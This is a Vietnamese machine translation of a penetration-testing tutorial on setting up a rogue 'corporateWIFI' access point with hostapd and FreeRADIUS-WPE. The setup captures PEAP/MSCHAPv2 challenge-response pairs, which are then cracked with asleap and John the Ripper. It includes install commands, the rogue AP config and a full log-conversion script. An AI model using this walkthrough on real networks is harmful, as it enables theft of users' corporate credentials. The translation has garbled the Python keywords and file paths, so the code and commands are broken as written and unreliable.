Chụp và nứt một thách thức PEAP / phản ứng với FreeRADIUS-WPE

Tôi nghĩ tôi sẽ đặt cùng một cách nhanh chóng nhất về cấu hình và sử dụng FreeRADIUS-WPE, như gần đây tôi đã nhìn thấy một vài người đã nhận được vấn đề đó đi trên Backtrack 5 R2. Để thực hiện một cuộc tấn công thành công, chúng ta sẽ cần một vài mặt hàng, trong đó có gói FreeRADIUS-WPE cập nhật Brad Antoniewicz đặt cùng một vài tháng trở lại, và hostapd cho AP độc hại của chúng tôi. Chúng tôi cũng sẽ cần phải đặt cùng một tập tin conf cho hostapd chạy từ.

Sau khi khởi động vào Backtrack, đi đến http://blog.opensecurityresearch.com/2011/09/freeradius-wpe-updated.html, và tải về FreeRADIUS-server-wpe_2.1.11-1_i386.deb.

Để cài đặt, gõ:
dpkg -install FreeRADIUS-server-wpe_2.1.11-1_i386.deb
Sau đó:
ldconfig
Tiếp theo cài đặt hostapd:
apt-get install hostapd

Khởi động thiết lập FreeRADIUS-WPE từ menu Backtrack, mà chạy như sau:

sh -c "cd / pentest / libs / FreeRADIUS-WPE / raddb / certs && ./bootstrap && cp -r * / usr / local / etc / raddb / certs; sudo -s"

Đầu ra phải kết thúc tìm kiếm một cái gì đó như thế này:



Sau đó, chúng tôi kiểm tra rằng FreeRADIUS đang hoạt động bằng:

radiusd -X

( "X" bật gỡ lỗi đầy đủ). Nó sẽ di chuyển một loạt các thông tin trên màn hình, và nên kết thúc với những điều sau đây:



Tiếp theo, chúng ta cần một tập tin cấu hình cho hostapd chạy từ. Dưới đây là một Brad Antoniewicz đặt cùng một lúc trước:

giao diện = wlan0
trình điều khiển = nl80211
ssid = "corporateWIFI"
logger_stdout = -1
logger_stdout_level = 0
dump_file = / tmp / hostapd.dump
ieee8021x = 1
eapol_key_index_workaround = 0
own_ip_addr = 127.0.0.1
auth_server_addr = 127.0.0.1
auth_server_port = 1812
auth_server_shared_secret = testing123
WPA = 1
kênh = 1
wpa_pairwise = TKIP CCMP

Bắt đầu một giao diện chế độ màn hình với:

airmon-ng wlan0 bắt đầu

(Hoặc trong trường hợp wlan1 của tôi), mà sẽ cung cấp cho bạn giao diện chế độ màn hình mon0.



Tiếp đầu hostapd và xác định tập tin cấu hình:



Bây giờ chúng ta có hostapd và FreeRADIUS-WPE chạy, kết nối với các "corporateWIFI" SSID với khách hàng thử nghiệm của bạn và nhập vào thông tin của bạn. Bạn nên xem hoạt động trong cửa sổ hostapd của bạn vào thời điểm này, đó sẽ trông giống như thế này:



Khách hàng của bạn sẽ cho bạn biết đăng nhập thất bại (rõ ràng), nhưng nếu mọi việc suôn sẻ, khi bạn đuôi log FreeRADIUS-WPE, tọa lạc tại /usr/local/var/log/radius/freeradius-server-wpe.log, bạn ' sẽ thấy tên người dùng, thách thức, và phản ứng:



Cuối cùng, chúng ta có thể sử dụng asleap cố gắng để crack các thách thức / phản ứng.

Rõ ràng, bạn được giới hạn chặt chẽ với các từ trong danh sách từ của bạn khi sử dụng asleap, nhưng nếu bạn muốn, bạn có thể ăn các thách thức / phản ứng với John và sử dụng khả năng mangling của nó. Josh Kelley đã tạo ra một kịch bản gọn gàng Python gọi radiusWPE2john.py, mà tôi đã xảy ra khi trên pastebin (http://pastebin.com/RJwgbwNh) mà lấy ra đăng nhập FreeRADIUS-WPE và chuyển đổi / trả-lời sang một định dạng mà John có thể hiểu . Dưới đây là một bản sao của nó:

#! / Usr / bin / python

################################################## #############################
# Miễn phí Radius WPE đăng nhập tập tin chuyển đổi để John The Ripper định dạng tập tin cho
# Bẻ mật khẩu. Sử dụng định dạng sau cho John:
# ./john --format = NETNTLM freeradius.john
#
# 2011/12/19 - Josh Kelley
################################################## #############################

import sys

nếu len (sys.argv) <2:
 in "Xin cho tôi ăn đường dẫn đến miễn phí Radius WPE log file"
 lối thoát()

fileIn = mở (sys.argv [1], 'r')
fileOut = open ( 'freeradius.john', 'w')

i = 0
cho dòng trong fileIn:
 lineClean = line.strip ()
 lineSplit = lineClean.split ( ':')
 nếu lineSplit [0] == "MSCHAP":
  i = i + 1
 nếu lineSplit [0] == "tên người dùng":
  username = lineSplit [1] .strip ()
  i = i + 1
 nếu lineSplit [0] == "thách thức":
  thách thức = ""
  cho x trong lineSplit [1:]:
   thách thức = thách thức + x
  thách thức = challenge.strip ()
  i = i + 1
 nếu lineSplit [0] == "phản ứng":
  phản ứng = ""
  cho x trong lineSplit [1:]:
   phản ứng = phản ứng + x
  phản ứng = response.strip ()
  i = i + 1
 nếu i == 4:
  lineNew = "% s: $ NETNTLM $% s $% s"% (username, thách thức, phản ứng)
  fileOut.write ( "% s \ n"% lineNew.strip ( '\ n'))
  i = 0
fileIn.close ()
fileOut.close ()

Chạy radiusWPE2john.py và trỏ nó vào nhật ký FreeRADIUS-WPE. Nó sẽ tạo ra các tập tin freeradius.john với thách thức / phản ứng chuyển đổi sang định dạng thích hợp cho John.



Sau đó, chỉ cần ăn John file freeradius.john. Các ý kiến ​​trong RadiusWPE2John đưa ra ví dụ của việc sử dụng đối số --format = NETNTLM, nhưng John dường như không tìm được băm khi cho nó. Nó không tìm thấy chúng khi sử dụng không có đối số mặc dù. (YMMV)



Tất nhiên, bạn cũng có thể chỉ đường ống đầu ra từ John vào asleap, như hình dưới đây. Hãy chắc chắn bao gồm dấu gạch ngang sau khi chuyển đổi -W cho asleap. Điều đó làm cho sự kỳ diệu xảy ra. Ngẫu nhiên, bạn có thể làm điều tương tự với CoWPAtty và Aircrack, trong cả hai trường hợp đặt một dấu gạch ngang sau khi danh sách từ (w) tham số cho phép của bạn mất stdout từ John để thực hiện danh sách từ mangling.

http://blog.opensecurityresearch.com/2012/04/capturing-and-cracking-peap.html

Comments

Popular posts from this blog

Thiết lập card không dây trên Kali Linux

Monitor mode

Giới thiệu - Scapy